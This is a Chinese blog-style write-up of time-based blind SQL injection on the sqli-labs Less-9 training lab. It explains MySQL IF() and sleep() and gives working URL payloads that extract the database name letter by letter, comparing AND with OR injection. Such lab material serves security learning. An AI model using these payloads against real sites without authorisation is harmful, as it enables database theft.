get基于时间的注入

基于时间的注入

0x0  环境

关卡              sqli-labs/less-9

数据库           mysql-5.5.3

0x1  if语句

IF(expr1,expr2,expr3)

expr1为0,返回expr3

expr1为1,返回expr2

注:这里仅测试expr1为0与1的情况,因为ascii()=num只返回0或1

注:未测试过其他版本不确定不同版本是否会存在误差

       查看下我正在使用的数据库名

      获取数据库首字母

      ascii编码

       验证真返回1,否返回0,用于if判断

0x2 sql语句解析

select * from tables where id=1 and if(ascii(substr(database(),1,1))=116,sleep(1),1)

我的数据库为test,其首字母为t,ascii编码后为116

ascii(t)=116时,if语句为 if(1,sleep(1),1) 即返回sleep(1)函数,因此查询数据的时候会休眠,以达到延迟返回数据的效果

 

注:

在使用and进行基于时间的注入,如果and前的条件不成立是不会执行if()里面的语句的

可以尝试使用or 进行注入测试

select * from tables where id=1 or if(ascii(substr(database(),1,1))=116,sleep(1),1)

or的延迟时间会更长一点

if()的返回值建议使用0,

where id =1 or 1 会直接进行全表查询

如果数据量过大也可能会出现延迟的假象

对比

and

    and关键字前面条件不成立无法执行if()

or

    or关键字前面条件不管成立不成立都会执行if()

    if()返回数值只能返回0,否则会全表查询,

    if()返回sleep()函数,休眠时间会更长  ~~ 我也不理解为什么会这样

建议:

还是使用and来注入吧  emmmm

0x3 注入测试

测试

?id=1

?id=1 and if(ascii(substr(database(),1,1))=115,sleep(1),0)

emmm

加个注释再次尝试

ok,这里对id参数进行调整尝试,怀疑是字符类型

?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(1),0) -- -

时间调整的长一点再来一遍

木的问题

顺便试了一下or 这时间过于真实,,,还是用and吧

0x4 or and 对比

下面是or并使用不存在的ID进行注入的,这里or时间会长一点但还是有效果的

 

ID不存在时,and就显得无能为力了

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值